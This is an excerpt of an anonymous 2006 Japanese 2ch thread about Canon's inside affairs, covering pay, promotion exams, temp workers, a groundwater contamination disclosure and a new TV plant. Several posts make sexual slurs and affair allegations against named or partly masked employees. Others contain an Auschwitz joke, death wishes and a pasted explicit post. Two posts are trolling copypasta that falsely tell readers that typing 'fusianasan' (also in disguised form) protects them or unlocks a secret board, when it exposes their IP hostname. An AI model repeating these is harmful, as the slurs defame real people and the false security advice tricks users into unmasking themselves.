結果、技術を目指すものは偉く
成れない。技術を目指すならば収入や昇進は
捨てなければならない。 

591 :aabbcc:2006/08/27(日) 09:13:59 ID:rIIPVQsq
imagePRESS C1の詳細を知りたいのですがWeb上ではプレス発表のものしか
見当たりません、まだ発売されていないの?

592 :550:2006/08/27(日) 11:59:20 ID:3XPCGBpM
>>590
そんなもんよ。とか言うなよ。いつそんなに大企業について詳しくなったんだ。
自分の会社+αしか知らないくせに!
「捨てなければならない。」じゃなくて「捨てなければならない可能性が高くなる。」だろ!
技術者なら無根拠な断言はしないで論理性で攻めてほしいものである。by所長

593 :悪党:2006/08/27(日) 13:46:57 ID:A1+2wSds
キャノンってホントぼろいよね!
噂には聞いていたが糞な人事だよね!
悪党なヤツばかり、頭の悪いヤツばかりが
権力を持つとどうなるか人事部は分かって
いるかな。人事部の責任だぞ。

594 :581:2006/08/27(日) 18:30:14 ID:PojMkB8N
販社ごときのミスで故障なんかするかよ!

エンジニアとは下丸子にしか生息しない・・・そして極わずかしか・・・




595 :大学3年です:2006/08/27(日) 18:30:25 ID:2DmN9Wyu
御社の知財部は、新卒で配属されてもやりがいありますか?
それとも、研究所のウバ捨て山みたいな感じなんでしょうか

596 :それは・・・:2006/08/27(日) 18:47:48 ID:PojMkB8N
2行目で言い当てられてしまった!
知財の下請けは定年退職者の再雇用先なので
君はお茶飲み友達またはお茶菓子かいつけのパシリになる可能性大!

597 :581へ:2006/08/27(日) 19:04:03 ID:Ll8XtlmK
キャノンのヤは小文字ではない!
C販て、青森でも支社扱いなんだ、何人の事業所?
器が小さすぎる。
おまえ本当に元キヤノングループの人間か?
だから倒れるんだ。
自業自得だな。



598 :通りすがり:2006/08/27(日) 21:16:51 ID:srfsU7X9
 経団連のトヨタでは、下記の様な犯罪が社内でも横行していた様ですが、
新会長のキャノンさんではどうですか?
 東芝さんの様に裏で2億3千万円で裁いているなんて噂が立ったりするん
ですか?
 ヤマハも無人ヘリを中国へ輸出したなんて記事が出る位なので心配です。
 下記2点、検索してみて下さい。

1.無形的方法その他証拠収集が困難な方法による犯罪被害のレポート

2.ヤマハ発、ヘリ不正輸出 軍系列兵器メーカーにも1機
 ヤマハ発動機(静岡県磐田市)が無人ヘリコプターを不正輸出しようとした外為法違反事件で、
同社が中国人民解放軍直属とされる兵器メーカー「保利科技有限公司」(ポリテク社)に高性能
無人ヘリ一機を輸出していたことが二十八日分かった。   (産経新聞) - 1月29日3時0分更新

599 :A:2006/08/27(日) 22:44:32 ID:ZQEQq0yo
27 名前:七つの海の名無しさん 本日のレス 投稿日:2006/08/27(日) 08:37:33 Aqt18sXl
>>25
あるテレビの番組で、小学生の女の子がウォシュレットすると
気持ちいいからずっとやってる、ってさらっと言い放ったときに
周りの大人が青くなって言葉に詰まっていたのを思い出したw

600 :A:2006/08/27(日) 22:49:27 ID:ZQEQq0yo
64 名前:七つの海の名無しさん 本日のレス 投稿日:2006/08/27(日) 11:02:10 HNDAZLZu
フハハハハハハァー!
オナニー論を続けようかwwwwwwwwww
自慢じゃないが、初めてオナニーによる射精を経験した日(小6の11月27日)以来、シコらなかった日は一度もないwwwwwwww
雨の日も、風の日も、修学旅行先でも、親族に不幸があっても、入試前日でも、必ずシコってきたwwwwwww
これだけは誇りたいwwww自分で自分を誉めてやりたいwwwwwwww
たぶん俺は、手の締め付けによる快感に慣れすぎて、マンコの締め付けではイケない体になっちまってるだろうwwwwwwwwwわかってるよ、そこはwwwwww
だが、もういいんだwwww俺は童貞、つまりマンコの快感を知らないwwwwwww
だがな、俺にはわかるんだよなwwwww確実に言える、自信を持って言えるwwww
絶対にオナニーのほうが気持ちいいwwwwwwだから俺は一生童貞で構わないwwww
オナニーに誇りを持っているんだwwwwwww
自分なりに考え出した、オナニー技法も数多くあるwwwwだから飽きはこないwwwww
一昨日には、ついに『アクロバティックシェイキングオナニー3』が完成したwwwww
2を開発してから、7ヶ月、、、長かったがようやく3が完成したwwwwwww
とんでもない飛距離でザーメンが四方に飛び散ってびっくりしたが最高に気持ち良かったよwwwwwwww

601 :名無し:2006/08/28(月) 20:57:42 ID:M9hJpZql


キヤノン、偽装請負一掃へ
http://money4.2ch.net/test/read.cgi/haken/1154336863/l50

120 :社員 :2006/08/28(月) 19:52:34 ID:IKijDX+p0
第一次正社員選考に着手しています!
まじで正社員にするつもりだなんて驚き!
やるときゃやるねぇキヤノン。


121 :名無しさん@そうだ登録へいこう :2006/08/28(月) 20:43:52 ID:2DFvqJRB0
>>120
うそこけw


122 :名無しさん@そうだ登録へいこう :2006/08/28(月) 20:52:13 ID:F6xiCeVvO
>>121
マジだって!!
俺はもう、所属長に言って申し込んだよ




602 :大四:2006/08/28(月) 23:08:03 ID:64BEGxTv
キヤノンさんの制服はアウシュビッツの囚人みたいな柄ですねw

603 :・・・:2006/08/28(月) 23:51:12 ID:MuPPSOWW
恋愛占い♪
http://www.homoon.jp/users/bokkitown/uranai/bi.cgi?mode=fom&no=0

604 :sage:2006/08/29(火) 00:21:16 ID:BDYXVSQl
sage

605 :ななし:2006/08/29(火) 22:00:42 ID:yRgNSPgd
>>587
>あきらめたのか、不満ある層は
>見限ってどっかいったのか。あるいは改善されたのか。
5年前は変わるかもしれないという期待があったが、今はもうない。
ここが中途に人気があるという話が講話であったが、信じられないねえ。
他はもっとひどいのかとため息出るね。

606 :名無しさん:2006/08/30(水) 00:10:24 ID:JKcatdtO
http://www.mynewsjapan.com/kobetsu.jsp?sn=489

更新されているな。
27歳G2で700万なんて奴、本当にいるの?

607 :名無し:2006/08/30(水) 20:11:26 ID:aDmgfrt7
>>606

 死ぬほど残業すれば、それくらい行くんじゃないの?基本給+ボーナス
じゃ遠く及ばないけどね。


608 :  :2006/08/31(木) 14:18:03 ID:JzRFIL/M
コピー機はリコーに負けてる

609 :浮気してる奴へ:2006/08/31(木) 16:20:22 ID:L6cWeupd
おまえらの組合の奴が派遣と浮気してて、祭りになってるぞ!
氏名、顔写真が上がるのも時間の問題

○キヤノン ×キャノン その3
http://money4.2ch.net/test/read.cgi/haken/1152713893/

浮気してる奴は一応見とけ。各当してれば、削除依頼しとけ。

haken:派遣業界[重要削除]
http://qb5.2ch.net/test/read.cgi/saku2ch/1134957688/

610 :名無し:2006/08/31(木) 18:38:10 ID:+UgNgkeA
N浜の佐〇〇ぐみはヤリマン♪

611 ::2006/09/01(金) 13:22:21 ID:w0DrxpLu
キヤノン・東芝  SED量産へ工場12月着工


キヤノンと東芝は31日、液晶・プラズマに続く次世代薄型テレビ向けに共同開発している
「SED」(表面電界ディスプレー)の本格量産工場(兵庫県太子町)を12月に着工する方針を明らかにした。
08年初めの量産開始を目指し、同年の北京オリンピック商戦に間に合わせたい考えだ。
新工場には両者が900億円ずつ投資する。


ソース:朝日新聞9月1日13面


これで韓国のパクリ液晶メーカーは全滅w

612 ::2006/09/01(金) 15:10:01 ID:w0DrxpLu
SEDの本格量産は姫路工場で2007年の7月から。
兵庫の太子工場は2008年の第2弾量産準備。


・日刊工業新聞は1面(06年9月1日)で、東芝(6502)は姫路工場で生産する次世代ディスプレーのSED(表面電界ディスプレー)の
設備投資計画を当初の1,800億円から2,000億円に増やす方針と報道。
量産は07年7月から開始予定。


613 :せd:2006/09/01(金) 16:59:02 ID:P+57e+tv
SEDの寿命ってどれくらいなの?

今、プラズマ使ってるんだけど買い替え候補にSEDが上がってるんだけど
寿命と値段次第だな。視力悪いから画質はあんまり興味ない。

614 :名無し:2006/09/01(金) 20:28:18 ID:yZJVGa0j
今年もG2受験者少ないなぁ。あんまり見なしG2増やすなよぉ。反面、爺さん受験者大杉。これじゃ本当にジイさんばかりに…鬱だorz


615 ::2006/09/01(金) 20:38:36 ID:ucY9TFjG
明日の論文テーマなんだと思う?

見事当てたやつは神!

616 ::2006/09/01(金) 21:06:47 ID:TBxG/uNv
>>615
玉皮事業所のどじょう汚染について、あなたはどう考えますか?

617 ::2006/09/02(土) 02:01:24 ID:AwLygBqu
長浜のヤリマン、匙芽ぐみの改善について

618 :www:2006/09/02(土) 04:05:12 ID:8MEG52i8
新谷と田中の不倫情報で盛り上がってるぞ!
グーグルマップまで出てるじゃねえかよ。


619 ::2006/09/02(土) 07:56:24 ID:AwLygBqu
長浜の佐治も不倫してるよ

620 ::2006/09/02(土) 14:56:17 ID:uqnW6gqW
もう、ヤリマンとか言ってる場合じゃねーぞ
http://www.asahi.com/national/update/0902/TKY200609010410.html

621 :あぼーん:あぼーん
あぼーん

622 :名無しさん:2006/09/02(土) 16:40:54 ID:HX3rXG2o
617 名前:な 投稿日:2006/09/02(土) 02:01:24 ID:AwLygBqu
619 名前:か 投稿日:2006/09/02(土) 07:56:24 ID:AwLygBqu
621 名前:く 投稿日:2006/09/02(土) 15:46:44 ID:AwLygBqu

623 ::2006/09/02(土) 18:19:23 ID:mA3x/pgF
もう正社員の殆どは見てないだろうな。
フレックス廃止議論とかの盛り上がりがない。
爺さん試験で生気吸い取られ気味か。


624 :o:2006/09/02(土) 19:11:42 ID:2oAIZlQ3
数年前から女性の派遣を多く採用するようになった。今現在不倫という問題が起きている。黙認を続ける会社。

625 :論文:2006/09/02(土) 23:04:50 ID:is3hd2js
難しかった…

626 :爺さん:2006/09/03(日) 00:27:42 ID:2SQ8Qpl8
>>625
落ち込むな・・・

627 :o:2006/09/03(日) 05:34:58 ID:/GHrQNO9
キヤノン(東京都大田区)は1日、川崎市高津区の玉川事業所(約1万
9400平方メートル)の地下水から、環境基準の最高5.8倍の濃度の
有害物質テトラクロロエチレンを検出したと発表した。土壌汚染は96年に
確認していたが、これまで公表していなかったという。

 公表を避けてきた理由について、記者会見した諸江昭彦常務は、汚染が
あった場合に自治体への報告が義務づけられた土壌汚染対策法の施行
(03年)前の事案だったと説明。そのうえで、「もう少し早く話すべき
だった」と話した。

 94年までレンズの製造工程で化学物質を扱っていた。今回土壌からは、
環境基準の約9倍の濃度の六価クロムや、約19倍のトリクロロエチレンの
有害物質も検出された。

628 :_:2006/09/03(日) 10:35:49 ID:Vcsv8nRf
>>623
> もう正社員の殆どは見てないだろうな。

不満を抱くキヤノン関係者
・派遣社員
・工場勤務者
・子会社社員

本社大卒以上の正社員はそれなりに満足してるか
そもそもこんなところでネチネチ愚痴ったりしないんでしょ。

629 :629:2006/09/03(日) 13:36:16 ID:zcxMCL/O
男なら人事カフェに投稿

630 :禿:2006/09/03(日) 21:03:37 ID:e4DHEgZn
>>628
ってことはおまえは満足してないと

631 :おちこぼれ:2006/09/04(月) 00:02:49 ID:QRy/JlWy
>>625
難しかったな・・・
でも
結果がどうであれ、前を見続けろよ。
俺みたいになったらお終いだからな。

632 ::2006/09/04(月) 01:10:56 ID:jRyhza85
>>628
マジレスすると・・・・


不満を抱くキヤノン関係者

・大学、院卒の新入社員(低賃金、将来性に不安)
・派遣、請負社員(工場も入る)
・子会社(販売、サービスマン)

正社員で満足しているのは、
中高卒で入社できた 現在、38〜42才くらいの人だけ。

ここでネチネチと愚痴れるのは、ネット環境があり
携帯からでも2chを見る若年層に傾向有り。

633 ::2006/09/04(月) 01:19:10 ID:Sb0K1dBy
不満な人=自慰3試験3連敗中の俺…

634 ::2006/09/04(月) 01:46:54 ID:jRyhza85
>>633
G3、3連敗か・・・。まぁ来年ガンガレ!

仕事に暇な人→残業なし→勉強時間がある→試験に受かる
仕事に多忙な人→残業あり→勉強時間がない→試験に落ちる

俺の不満は抜け毛と視力低下と下っ腹。あとキャバ嬢の質が落ちた。

635 :おちこぼれ:2006/09/04(月) 04:20:20 ID:QRy/JlWy
体調悪くて気持ち悪くて寝られんから起きてきた。

>>633
な氏へ
G3試験3連敗ならまだまだ脈ありだ。
がっかりするな。
俺は・・・脈なしだ。終わってる・・・

>>632>>633
¥氏へ
正社員で満足しているのは、
中高卒で入社できた 現在、38〜42才くらいの人だけ
仕事に暇な人→残業なし→勉強時間がある→試験に受かる

上記の条件に当てはまりながら
受からない人間もいる。
俺のように・・・


636 :q:2006/09/04(月) 16:47:06 ID:KtmWxo4i
>>635
体調大丈夫ですか?

試験に受からなくても、貴方は勝ち組の人間ですよ。
精神的に自分を追い込んで鬱病になる人もいます。
現に私が居る部署では数名、心療内科に通ってる人がいます。
くれぐれも身体だけは壊さないようにしてください。

637 :名無し:2006/09/04(月) 20:16:12 ID:34mKGLbG
>>632

38〜42才で“中卒”の社員は居ないはずだが…。お前社員じゃないだろ?



638 :おちこぼれ:2006/09/04(月) 21:12:45 ID:QRy/JlWy
>>636
q氏へ
サンクス。
実は自分も結構、健康を害してきました。
今は健康なので維持していきたいと思います。



639 :じゅん:2006/09/04(月) 21:33:31 ID:hiOvGVdy
長浜藤堂の不倫相手って誰だろ?

640 :これが一流企業の態度か?川崎の汚染:キャノン:2006/09/04(月) 22:43:12 ID:WHpi3s3u
法律はそれを逸脱すれば罰せられますが、では、その法律に違反していないからと言って何をしてもよいものではないのです。
モラルがあるからです。特に大企業であれば、そのモラルは社会の公器としての立場があり、一般人よりはるかに高いものなはずなのです。
社会の<模範>として活動する必要があるからです。

ところが、最近この<模範>が崩れ去ってきている事例が多く見られます。
今回、それが登場したのが<キャノン>です。驚くべき事態になっているのです。
おそらく、発覚を時効になるのを待っていたのだと思いますが、これが大企業の態度とすると、日本の企業は腐りきっていると言えます。

キヤノンは、川崎市高津区の玉川事業所の地下水から、環境基準の最高5.8倍の濃度の有害物質テトラクロロエチレンを検出したと発表。
土壌汚染は96年に確認していたが、今まで公表していなかった。この公表してこなかった理由として、諸江昭彦常務は、以下のように述べています。
『汚染があった場合に自治体への報告が義務づけられた土壌汚染対策法の施行(2003年)前の事案であり、公表する必要がなかった。』

ことは住民の健康に関係することであり、公害が発生していることを公表する必要がないと判断する企業がキャノンなのです。
経団連会長がトップにいる企業がこのような公害を撒き散らし、だんまりを決め込むのです。

更に、今回明らかになったところでは、この工場の土壌からは、環境基準の約9倍の濃度の六価クロムや、
約19倍のトリクロロエチレンの有害物質も検出されているのです。

この公害事案は行政もマスコミも殆ど報じませんが、相手が巨大企業キャノンである、経団連会長企業であるとして、
『長いものには巻かれろ』ということで何も追求せずに放置するのであれば、日本社会は共産圏よりひどい状態にあるとも言えます。

公害は放置すれば放置するほど健康被害が広がり、取り返しのつかない事態に発展するのです。
キャノンは今後どのような態度をとるのでしょうか?お金が掛かる、法律に違反していない、として住民のことは関係ないという態度をとるのでしょうか・・・。
そのような事態を放置すれば、公害を撒き散らす企業として世界から追求を受け、大打撃をうけることになる筈です。

641 :_:2006/09/05(火) 00:00:25 ID:OEnLbUPD
>>640
忠告ありがとう。あなたはどちら様ですか?

642 :A:2006/09/05(火) 01:37:52 ID:eFJs9bED
すばらしい!!
>>640こそ爺さん試験論文のお手本だねw


643 ::2006/09/05(火) 02:08:42 ID:uo+4eTkq
>>640
キヤノン発見後すぐに対策したって書いてあるぞ。
書いてないのは朝日新聞と赤旗だけ。

644 ::2006/09/05(火) 02:09:28 ID:uo+4eTkq
対策=浄化対策ね

645 :アホか:2006/09/05(火) 02:21:22 ID:K13GiPqI
んなもん論文に出したら却下だろうが。低脳乙!
キヤノンの工場はどこも土壌汚染で近隣住民大迷惑。

キヤノンの不祥事は今に始まったことではないがな。
リコール問題も有耶無耶にしている現状。そして土壌汚染。

>>641-642
君たちはキヤノンに洗脳されています。言わば末期です。
真実を受け止めようとしない。隠ぺい工作に加担する行動。
まぁラジオ体操でもしてぬるま湯に浸かってなさいってこった。

そして半年ROMってろ!sageない時点で2ちゃん初心者ってわかるしな。

646 :名無し:2006/09/05(火) 02:28:22 ID:c2rWnXAX
鶴我○吾と藤堂〇奈が不倫

647 :A:2006/09/05(火) 02:30:24 ID:eFJs9bED
あえてsageない選択もある。

>>645
「半年ROM」なんて古い言葉持ち出すあたり、あんた、おっさんだなw
そう言うあんたこそ半年(r

648 ::2006/09/05(火) 13:28:11 ID:BwBu+Ca8
読めば読むほど糞会社ですなw世間体気にしてばっかだし。取手派遣のコラボも11月から期間社員になるみたいだし。正社員登用制度のおかげで必死な方多いし、つまらん会社になってきた。

649 ::2006/09/05(火) 15:46:00 ID:LJWsCloy
ID:eFJs9bED
必死すぎて笑えるwwwwwwwww
厨房は黙って組み立てに戻ってろよwwwwwwwwww

死ね。氏ねじゃなくて死ね!ゲラゲラwwwwwwwwww


650 :g:2006/09/05(火) 16:42:12 ID:EeI5ZQfN
>>647
スレタイ1000回読み直せヴォケ!
キヤノンの裏事情を、あえてageる意味があるのか?
おまえの低脳っぷりには呆れる。

651 :sage:2006/09/05(火) 18:09:28 ID:U5880eqi
>>642>>647さんは2ちゃんねるの初心者ですか?書き込む際に
SG(セキュリティー・ガード)に登録しないと個人情報がバレますよ。
SGに登録せずに書き込んだ場合、あなたのパソコン内の
情報は他人に見られていると考えてほぼ間違いないでしょう。
個人情報がばれる方の多くはこの登録を怠っています。
初期の頃から2ちゃんねるにいる方達は、ほとんどの方が
このBBSのコマンドの仕組みを知っています。ですから簡単に
あなたのIPアドレス等を抜き取り個人情報を見破ってしまいます。
このコマンドの方法は決して教えないというのが初期の頃から
2ちゃんねるにいる方達の間で暗黙の了解となっていましたが、
あまりの被害の多さに心を痛めた私はあえて公開することにしました。
SGしておけばまず抜かれるコマンド自体が無効になってしまうのでどんなにスキルが
ある人でもIPアドレスを抜くことが不可能になります。SGに登録する方法は、

名前欄に「 fusianasan 」と入れて書き込みする。これだけでSGの登録は完了します。

一度登録すれば、Cokkieの設定をOFFにしない限り継続されます。
fusianasanは、正式にはフュージャネイザン、又はフュジャネイザンと読みます。
元々はアメリカの学生達の間で、チャットの時にセキュリティを強化する為に
開発されたシステムです。これを行うことにより同一人物が書き込んでいるか
どうか判別する手段が遮断されるので安心です。ぜひ書き込む前には
名前欄にfusianasanと入力してください。自分の身は自分で守りましょう

652 :_:2006/09/05(火) 19:24:05 ID:9r7qkm+u
> 一度登録すれば、Cokkieの設定をOFFにしない限り継続されます。

えぇと、ツッコみどころはココかな?

653 : :2006/09/05(火) 19:44:54 ID:4bX8ANWO
そうだね。fusinasanと名前欄に入力してカキコすると、接続した人の個人情報がすべて漏れて
大問題になっているね。
ほかに、山崎渉 でも同様の現象がでるそうだ。試したわけではないが・・・

654 :i60-42-117-161.s05.a011.ap.plala.or.jp:2006/09/05(火) 19:52:56 ID:STUwpwAn
 

655 :2ちゃん初心者へ:2006/09/05(火) 20:46:47 ID:+iA9CY4p
>>652
コピペにマジレスした時点であなたは厨房です。
不用意に書き込む前に、半年ROMりましょう。


>>653
>接続した人の個人情報がすべて漏れて
大問題になっているね。

IPアドレスだけでは個人情報は漏れません。
プロバイダに問い合わせても個人情報は教えてくれません。
あなたも半年ROMりましょう。


>>654
あなたは好奇心旺盛ですね。好感が持てます。
でも、半年ROMりましょう。

656 :かな:2006/09/05(火) 21:30:03 ID:c2rWnXAX
長浜のヤリマン
佐〇〇〇み、伊〇〇美、伏〇〇〇み、米〇〇美…

657 :_:2006/09/05(火) 22:13:09 ID:9r7qkm+u
>>655
652がマジレスに見えるんだ・・・すごいね・・・

658 ::2006/09/05(火) 22:19:25 ID:vjB4dUhG
裏2ちゃんねるでキヤノン土壌汚染問題のことをマスコミ達が騒ぎ始めてる。


★☆★裏2ちゃんねるへの入り方
1.書き込みの名前の欄に「 &rf&rusi&ran&ras&ran  」と入力します。
2.E-mail欄に、20歳以下なら low 21〜30歳は middle 31歳以上は hight と入力します。
 (年齢別調査。)
3.本文にIDとパスワードの guest guest を入れて、書込みボタンを押します。
4.メッセージが「確認終了いたしました。ありがとうございます。」に変わればばOK
5.サーバーが重いと2chに戻ってくるけど、まあ30分以内であれば何回かやれば大丈夫。
6.家庭の電話回線よりも、企業や学校の専用回線からの方がサーバートラフィックの
  都合上つながる確立が高いです。
7.裏2ちゃんねるの内容については違法性、反社会的な内容を多く含んでおりますので
  ご自身で確認してください。サイトの内容についての質問はご遠慮願います。
8.裏はアクセス過多になりやすいので表から誘導すると向こうの住人が怒ります。
表から来た事は秘密。

659 :@canon:2006/09/06(水) 05:05:26 ID:yUuYedQM
>>647>あえてsageない選択もある。
その理由を教えていただけませんか?

メール欄に「sage」と入れるのは、2ちゃんねるでは常識。暗黙のルールになっています。
理由は簡単です。「sage」と書き込まなければ、このスレが板の一番上に行ってしまうからです。
一番上のスレッド=よく目に付く。荒らしやマスコミの目に触れてもおかしくはないでしょう。裏事情ならなおさらです。
ここのスレッドタイトルは 「キヤノンの裏事情」 なのです。キヤノン関係者ならば表沙汰にされたくない書き込みもあるでしょう。
しかし貴方は「あえてsageない選択もある。」と主張していました。これにはどうも理解が出来ません。
貴方は本当にキヤノン関係者なのですか?>>642で試験論文の話題を出している所からして当会社の社員だとは思われますが…。

「半年ROM」に反応しているようですが、これは全く古い言葉ではありません。現在でも携帯厨、age厨、教えて君、クレクレ厨、荒らしなどには使われてます。「半年ROM」に反応したのは貴方が初めてです。書き込む前に【2ch総合案内】は読みましたか?

貴方が使っていた「爺さん、おっさん」などの差別用語(?)これは何かコンプレックスでもあるのでしょうか?
・自分自身の脳と体力が衰えてきたことによる不安感から目上の者を毛嫌いする。
・それとも、自分がまだ若く仕事の右も左もわからない状態で学生気分で仕事をし、上に当たる人間(上司)に対し不満を募らしているだけ。ではありませんか?

キヤノンは社員(人間)を育てる会社です。
この会社は学歴社会をなくそうと考え、試験制度を取り入れました。
頑張った(試験に受かった)者に対しては、昇格や収入に反映されます。
しかしです。だからと言って実力主義には完全になりきれていないのが現状なのです。
この会社は年功序列制度が廃止されたわけではないのですから。
やはり社会人として、目上の者に対してはそれ相応の言葉があります。
これは、ネット社会でも言える事なのですが…。(ちなみに私は貴方の年齢を知らない。同様に貴方も私を知らない。)
社会に出れば、自分を認めてくれる人が居ない、不平不満を口には出せない為
匿名掲示板で煽ったりする行為は虚しいとは思いませんか?これではネット弁慶と変わりはありません。

660 :うざい!:2006/09/06(水) 11:18:04 ID:wZDOTuJs
651/655/658/659 んっとにうざい!!!
絶対社員じゃ無いな!消えナ!

661 :www:2006/09/06(水) 11:56:45 ID:AGcsVnYc
>>660がファビョってるwwwwwwwwwwwwwwww

662 :p6175-ipad07otsu.shiga.ocn.ne.jp:2006/09/06(水) 18:25:43 ID:cLef8MP8
guest guest

663 ::2006/09/06(水) 20:08:08 ID:W3ST6JnR
656>どこの部課?

664 :,:2006/09/06(水) 22:08:01 ID:bz+mgfa5
「爺さん」の意味がわからないエセ社員がいますね

665 :B:2006/09/06(水) 23:47:44 ID:lltc/pDs ?BRZ(1002)
B棟使いづらい!!!!!!!!!!!!!!!!!!!!!!!!!
 3Fの奴は朝は階段つかえよ

666 :B未体験者:2006/09/06(水) 23:56:18 ID:T1p6uiDW
>>665
ケチってエレベータの数少なくしてあるの?
相変わらずウォシュレットはトイレ内に1個だけだったりする?

667 ::2006/09/07(木) 18:12:04 ID:IERF8h3s
爺さん=G3

668 :___:2006/09/07(木) 19:31:08 ID:jEQPCvJq
関鉄勝手に通勤バス間引きすんなよ。今日の18:15発は何でこねーんだよ。
朝も結構怪しいよな。

総務さん調査よろしく



669 :B3:2006/09/07(木) 20:00:05 ID:3L/b28ED
>>665
あんなぐるぐる回る階段なんか上ってられっか

>>666
ウォシュレットは1個
さらに個室が足りなくて階段でおもらし発生

670 :igari:2006/09/07(木) 20:52:59 ID:xfEiR5U8
>>668
寝坊とか普通にある

671 :ねしたしわいだちういらたみ:2006/09/07(木) 21:29:50 ID:z/Ta0V1d
>679
B2のエレベータ前にも固形物が...目が点になりました。

旧建物の頃に自殺騒ぎがあった所だけに、このご時世にも病んでる御仁
がいらっしゃるのかしら...

672 :B棟:2006/09/07(木) 21:48:24 ID:9rWPH8VQ
>>669
目が回ると思ったら、直線区間が短すぎるんだよな。
ほとんど螺旋階段じゃん。
どう考えても人間工学的におかしいだろ。
あの建物ってどういう設計してるんだろうな。
共用スペース狭いし、トイレの出入りなんて
よほど気をつけないとぶつかる。

おまけに清掃業者もひどいね。
トイレも廊下も掃除行き届いてないし、
床に埃がなかったことを見たことない。
仕事の成果にはならんかもしれんが、
しっかりチェックしてくれよ、総務さん。

狭いところに大勢詰め込むんじゃなくて、
もっとゆったりした快適なオフィスを提供してくれないと
仕事の質低下するぞ。
エクセレントカンパニーを名乗るのなら、
変なとこケチらないで、ちゃんと金かけてくれ。

673 :重役:2006/09/07(木) 22:24:42 ID:hhmZei9q
B棟のレイアウト決める時、人口密度が高いと開発密度も高くなるね、と言った重役がいたらしい。その瞬間、部屋を殺気が駆け抜けたそうな(笑)

674 ::2006/09/07(木) 23:49:11 ID:gf2A+ut9
今日はBOISEstのセキレイに癒されますた。洒落っ気があるようでCバスのミラーと睨めっこ。
砦倶楽部前の野球場には独身の雄雉がお散歩で…いい環境ですね。
燦鳥居のバードサンクチュアリを思い出しますた。
シラサギ山覚えている人おります?



675 :B3:2006/09/08(金) 08:16:12 ID:hon/G95l
>>671
病んでるのは腹の具合と、こんなに詰め込んだ責任者の心

>>672
ゆとりってなんですか?
リフレッシュコーナーもなくなっちゃったんですが

>>673
さすが重役、目の付け所が違いますな

密度が高いといい製品ができるんならそれでもいいのかも知れんが

676 ::2006/09/08(金) 12:27:47 ID:+mWyjrQG
長浜の藤堂の不倫相手って誰だろ?

677 :  :2006/09/08(金) 19:54:53 ID:23AuHjJ+
喫煙者には喫煙所というリフレッシュコーナーがあるくせに、
禁煙者にはリフレッシュコーナーがないんだよな。
食堂がある建物ならまだいいけど、ないと悲惨・・・

678 :.:2006/09/08(金) 20:02:08 ID:1E4n601r
>>676
藤堂ってどんな奴?

679 ::2006/09/08(金) 22:21:31 ID:SFIu0Ycb
エコロジーの金○という○締役は基地外

680 ::2006/09/08(金) 22:51:39 ID:f7i+ye5M
地下水汚染も、出来るだけ騒がないよう報道陣に圧力をかけてるんだろうな。

681 :あぼーん:あぼーん
あぼーん

682 :名無しさん:2006/09/09(土) 00:55:04 ID:GsL780YQ
>>677 禁煙者なら、喫煙所でリフレッシュすりゃいいだろ。喫煙所派閥、
談義ってのはなかなか捨てがたいんだよね。重要事項が決まっちゃうこ
ともあるからね。他部署の情報も入る。でも、面子が一緒なので偏りも
大きい。

非喫煙者なら、外の空気でも吸うしかあるまい。

683 :まさか:2006/09/09(土) 01:27:35 ID:6DoCi4E3
>>681 I/Oの藤堂?アイツ不倫してるの?

684 ::2006/09/09(土) 10:05:27 ID:g5RTfoWJ
キヤノン、新型TV工場は年内にも着工


キヤノンの御手洗冨士夫会長は8日、東芝と共同開発中の新方式の薄型テレビの量産ラインについて「年内にも建設に着工する」との見通しを明らかにした。
今春発売予定だったが、液晶やプラズマテレビの店頭価格の急速な下落の影響で、来年末に延期していた。欧米でM&A(企業の合併・買収)に積極的に取り組む姿勢も示した。

年内に工場建設に着手するのは高精細の「SED(表面電界ディスプレー)」と呼ぶ新型パネルを搭載するテレビ。
量産ラインは、計画通り東芝の姫路工場内(兵庫県太子町)に建設する。
キヤノンと東芝が計1800億円を投じる予定。御手洗会長は「2008年の北京五輪商戦に向けて量販できるようにしたい」と述べた。 (07:00)

http://www.nikkei.co.jp/news/main/20060909AT1D0801W08092006.html

【家電】キヤノン、新型「SED」TV工場を年内にも着工…08年北京五輪商戦量販目指す [06/09/09]
http://news18.2ch.net/test/read.cgi/bizplus/1157753756/

685 :タカアンドトシ:2006/09/09(土) 11:04:27 ID:ImVIQ76H
欧米かっ!

686 :あ〜あ:2006/09/09(土) 19:17:56 ID:xZo9JJTn
ゆとりとかどうとか言ってる間にまともなコピー機作ってくださいよキヤノンさん。
おたくらは保守しないからいいんだろうけど年々機械品質落ちてきてメンテしてる人間には地獄ですよ。

687 ::2006/09/09(土) 20:13:37 ID:6DoCi4E3
長浜の佐〇〇〇みはヤリマン☆「しよっか?」と言うと股開きます

688 ::2006/09/09(土) 23:07:38 ID:D2zHJ9kt
>>686
そら仕方ない。現場は寄せ集め期間社員のカス揃いだからな。
そんな状態でまともなモノ作れるわけないだろ?w
上層部に報告よろ!

689 :息子ちゃん:2006/09/10(日) 04:22:59 ID:Df4vdLUX
役員の息子である自分がきますた。
明日実家に帰るんで印刷して親に渡してみますw

690 ::2006/09/11(月) 23:11:36 ID:1oVx/ohi
>>689
結果報告よろ。

691 ::2006/09/11(月) 23:20:51 ID:bZhgWjWw
ここは派遣と期間工専用スレだぞ。
手厚い待遇を受けている正社員は帰れよ!!!!!

692 :工場長:2006/09/11(月) 23:33:50 ID:XWZLChdp
>>688
地方工場の現場にいるんだけど、最近特に期間社員の凡ミスが多い
昔から会社にいる人に聞いたら、正社員だけでやってるときにはこんなことはなかったって
派遣社員使ってるってだけでも質が下がるのに、その派遣社員そのものの質が下がってきてる

693 ::2006/09/12(火) 01:18:27 ID:vk7ImdB6
地方工場なら仕方ないね。田舎者ばっかだし。教育水準が低い。つまり教養がないってこと。
地方にいる時点で正社員も派遣も同じムジの穴。>>692が地方にいる時点で上からは評価されてないわけだしな
一生工場で働いてなさいってこった。つーか、あんたはビス締めだけしてりゃいいんだよ。やーってみてから考えよーwwww

694 ::2006/09/12(火) 01:22:56 ID:ZHzVCz1m
>>693
工場はビス締めだけと思ってる奴まだいるんだなw
オマエ使えない奴だろwww
おおかた本社勤務の勘違い野郎かwww氏ねwww

695 ::2006/09/12(火) 02:01:06 ID:vk7ImdB6
やはり教養がないというか、工場労働者は学がないね。
解説してやるからよく読めよ。

>あんたはビス締めだけしてりゃいいんだよ。
 ^^^^^^^^
これがどうして、工場=ビス締めになるんだよ?
俺はあんたにビス締めをしてろと言ってるんだよ。


いつでも論破してやるからかかってこいよ。厨房さんよ。

696 ::2006/09/12(火) 02:08:07 ID:H4sDDd9A
はは。

本社の人間は工員を人間扱いしてないからな。

697 :announce:2006/09/12(火) 19:28:21 ID:03oo1Lmk
何だ?
パーソナル複写機の安全対策実施って?
